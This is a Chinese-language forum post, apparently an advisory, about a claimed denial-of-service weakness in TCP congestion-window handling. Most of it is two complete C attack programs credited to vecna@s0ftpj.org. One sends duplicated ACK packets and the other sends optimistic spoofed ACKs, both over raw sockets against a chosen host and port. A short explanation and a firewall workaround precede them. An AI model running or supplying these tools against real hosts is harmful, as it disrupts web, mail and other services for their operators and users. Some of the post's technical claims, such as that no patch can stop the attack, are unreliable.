返回列表 回复 发帖

TCP协议堵塞窗口算法缺陷

TCP协议堵塞窗口算法缺陷
涉及程序:  
TCP协议  
   
描述:  
TCP协议设计存在严重缺陷允许对任何TCP服务进行拒绝服务攻击  
   
详细:  
TCP 协议层次关于 堵塞窗口 的算法 存在容易受攻击的漏洞
这种攻击是基于协议层次的,因此任何实现tcp 的系统都会受到影响。
危害性:
   
通过制造堵塞,能够使受攻击的主机不能与任何指定的主机进行正常的tcp 层次的数据传输。这类攻击的后果将是使所有的TCP服务(包括web、mail、FTP等)都会产生拒绝服务。
攻击的方法有两到三种,没有任何补丁可以用来防止这种攻击,除非在防火墙设置防范 或者更改TCP协议头部的结构.

理论基础: 什么是ACK_SEQ  
ACK_SEQ 标志数据包被正确的接受了。  
ACK_SEQ 是接受数据包的SEQ 和 接受的数据包的净荷长度.
由于push 标志位的存在可以任意指定seq 大小.
--- 攻击原理 ---
1,重复发送 数据包,任何ip 数据包都有可能被重复的发送到同一个接受端。
通过构造重复的tcp 数据包,每个数据包拥有不同的ACK ,能够造成数据窗口堵塞.
2) 预先判断发送方的数据长度,在数据没有真正到达接受方之前开始发送返回ACK 数据包。从而造成堵塞。
  
   
解决方案:  
在防火墙端进行设置,对非紧急数据类型的数据比如TELNET 以外的普通TCP 连接,检查是否存在push 标志。进行过滤。
  
   
攻击方法:  
1,重复发送 数据包,任何ip 数据包都有可能被重复的发送到同一个接受端
通过构造重复的tcp 数据包,每个数据包拥有不同的ACK ,能够造成数据窗口堵塞.
攻击代码
############################
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <err.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
extern int errno;
static struct sockaddr_in sin;
static int ss;
void send_dupack(void *, unsigned char);
#define MAS 128  /* Max Ack Size */
/*
#define BOLD "\033[1;1m"
#define N "\033[0m"
*/
int main(int argc, char **argv)
{
     struct ifreq ifr; /* interface query struct */
int sfd, nt, nd, off, hdr =1; /* socket, number time to apply dup,
    * number of dup, datalink offset */
unsigned int daddr; /* dest addr to check */
unsigned short port; /* dest port to check */
printf( " ldaa - "
/*BOLD*/ "lamer dup ack attacker" /*N*/  
" - by vecna@s0ftpj.org\n");
if(argc != 6)
{
fprintf(stderr,
  " usage: %s host port iface n.dup n.times\n" \
  " %s:\tis ldaa this program ...\n"  \
  " host:\t\thost to attack, only IP "  \
  "addess accepted, not implemented resolv\n" \
  " port:\t\tdestination port to attack\n" \
  " iface:\t\tinterface used for reach host\n" \
  " n.dup:\t\tnumber of ack duplication\n" \
  " times:\t\tnumber of time to apply duplication\n",
  argv[0], argv[0]
  );
err(EINVAL, "no such argument");
}
memset(&ifr, 0, sizeof(struct ifreq));
nt =atoi(argv[5]);
nd =atoi(argv[4]);
daddr =inet_addr(argv[1]);
port =htons(atoi(argv[2]));
sin.sin_port =port;
sin.sin_addr.s_addr =daddr;
sin.sin_family =AF_INET;
if((sfd =socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) ==-1)
err(errno, "socket on datalink layer");
if((ss =socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) ==-1)
err(errno, "socket on raw sock layer");
if(setsockopt(ss, IPPROTO_IP, IP_HDRINCL, &hdr, sizeof(hdr)) ==-1)
err(errno, "setsockopt IP_HDRINCL");
strncpy(ifr.ifr_name, argv[3], sizeof(ifr.ifr_name));
if(ioctl(sfd, SIOCGIFHWADDR, &ifr) == -1)
err(errno, "ioctl SIOCGIFHWADDR of %s", argv[3]);
switch(ifr.ifr_hwaddr.sa_family)
{
case ARPHRD_ETHER:
case ARPHRD_METRICOM:
case ARPHRD_EETHER:
  off =14;
  break;
case ARPHRD_PPP:  
  off =0;
  break;
case ARPHRD_LOOPBACK:
  off =4;
  break;
default:
  err(ENODEV, "unknow linktype for device %s", argv[3]);
}
while(nt)
{
char packet[MAS];
static unsigned int ack_seq;
struct iphdr *ip;
struct tcphdr *tcp;
int nbyte;
if((nbyte =read(sfd, &packet, MAS)) ==-1)
  err(errno, "read on datalink layer");
(char *)ip =(char *)&packet +off;
if(ip->protocol != IPPROTO_TCP || ip->daddr !=daddr)
  continue;
(char *)tcp =(char *)ip +sizeof(struct iphdr);
if(tcp->dest !=port)
  continue;
// if(tcp->ack && !tcp->syn && !tcp->rst && tcp->ack_seq !=ack_seq)
if(1)  {
  int cnt;
  printf(" dup seq %u ack %u\n", tcp->seq, tcp->ack_seq);
  for(cnt =0; cnt !=nd; cnt++)
   {
   printf(" cnt %d nd %d nt %d\n", cnt, nd, nt);
   send_dupack((void *)ip, ntohs(ip->tot_len));
   }
  nt--;
  ack_seq =tcp->ack_seq;
  }
}
exit(EXIT_SUCCESS);
}
void send_dupack(void *pkt, unsigned char len)
{
if(sendto(ss, pkt, len, 0x0000, &sin, sizeof(sin)) ==-1)
err(errno, "error on sending ack packet");
}

#############################
2) 预先判断发送方的数据长度,在数据没有真正到达接受方之前开始发送返回ACK 数据包。从而造成堵塞.
攻击代码
##########
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <err.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
extern int errno;
static struct sockaddr_in sin;
static unsigned int l_ack;
static int ss, ns;
unsigned short sum(unsigned short *, int);
void ssoa(void *, struct tcphdr *, size_t, int);
#define MAS 128  /* Max Ack Size */
int main(int argc, char **argv)
{
     struct ifreq ifr; /* interface query struct */
int sfd, off, wa, hdr =1; /* socket, number time to apply dup,
    * number of dup, datalink offset */
unsigned int daddr; /* dest addr to check */
unsigned short port; /* dest port to check */
printf(" optimistic acking attacker - by vecna@s0ftpj.org\n\n");
if(argc != 6)
{
fprintf(stderr,
  " usage: %s host port iface n.spoof n.wait\n" \
  " host:\thost to attack, only IP"  \
  " address accepted, not implemented resolv\n" \
  " port:\tdestination port to attack\n"  \
  " iface:\tinterface used for reach host\n" \
  " n.add:\tnumber of ack to spoof\n"  \
  " w.ack:\tnumber of ack to ignore before" \
  " guess size\n", argv[0]);
err(EINVAL, "no such argument");
}
memset(&ifr, 0, sizeof(struct ifreq));
daddr =inet_addr(argv[1]);
port =htons(atoi(argv[2]));
ns =atoi(argv[4]);
wa =atoi(argv[5]);
sin.sin_port =port;
sin.sin_addr.s_addr =daddr;
sin.sin_family =AF_INET;
if((sfd =socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) ==-1)
err(errno, "socket on datalink layer");
if((ss =socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) ==-1)
err(errno, "socket on raw sock layer");
if(setsockopt(ss, IPPROTO_IP, IP_HDRINCL, &hdr, sizeof(hdr)) ==-1)
err(errno, "setsockopt IP_HDRINCL");
strncpy(ifr.ifr_name, argv[3], sizeof(ifr.ifr_name));
if(ioctl(sfd, SIOCGIFHWADDR, &ifr) == -1)
err(errno, "ioctl SIOCGIFHWADDR of %s", argv[3]);
switch(ifr.ifr_hwaddr.sa_family)
{
case ARPHRD_ETHER:
case ARPHRD_METRICOM:
case ARPHRD_EETHER:
  off =14;
  break;
case ARPHRD_PPP:  
  off =0;
  break;
case ARPHRD_LOOPBACK:
  off =4;
  break;
default:
  err(ENODEV, "unknow linktype for device %s", argv[3]);
}
printf(" reading packet len...\n");
while(1)
{
char packet[MAS];
struct iphdr *ip;
struct tcphdr *tcp;
static int inc, i;
int nbyte;
if((nbyte =read(sfd, &packet, MAS)) ==-1)
  err(errno, "read on datalink layer");
(char *)ip =(char *)&packet +off;
if(ip->protocol !=IPPROTO_TCP || ip->daddr !=daddr)
  continue;
(char *)tcp =(char *)ip +sizeof(struct iphdr);
if(tcp->dest !=port)
  continue;
if(tcp->ack && !tcp->syn && !tcp->rst)
  {
  int chk =ntohl(tcp->ack_seq) -ntohl(l_ack);
  if(!l_ack)
   {
   l_ack =tcp->ack_seq;
   continue;
   }
  if(!chk)
   continue;
  printf(" %u", chk);
  if(chk ==inc)
   {
   if(++i ==wa)
   ssoa(ip, tcp, ntohs(ip->tot_len), inc);
   }
  else
   {
   printf("\n %d packet's size check after %d "
   "reset for %d byte\n" ,inc, i +1, chk);
   inc =chk;
   i =0x0000;
   }
  l_ack =tcp->ack_seq;
  }
}
}
void ssoa(void *pkt, struct tcphdr *x, size_t len, int size)
{
int k =0x0000;
printf("\n guessed packets len [%d]\n sending ACKs: ", size);
while(k != ns)
{
x->ack_seq +=htonl(size* ++k);
x->check =sum((unsigned short *)x, sizeof(struct tcphdr));
printf(".");
if(sendto(ss, pkt, len, 0x0000, &sin, sizeof(sin)) ==-1)
  err(errno, "error on sending ack packet");
}
printf(" done.\n");
exit(EXIT_SUCCESS);
}
unsigned short sum(unsigned short *hdr, int nw)
{
unsigned long ret =0x0000;
while(nw > 0)
{
ret += *hdr++;
nw -= 2;
}
ret = (ret >> 16) + (ret & 0xffff);
ret += (ret >> 16);
return ~(ret);
}
返回列表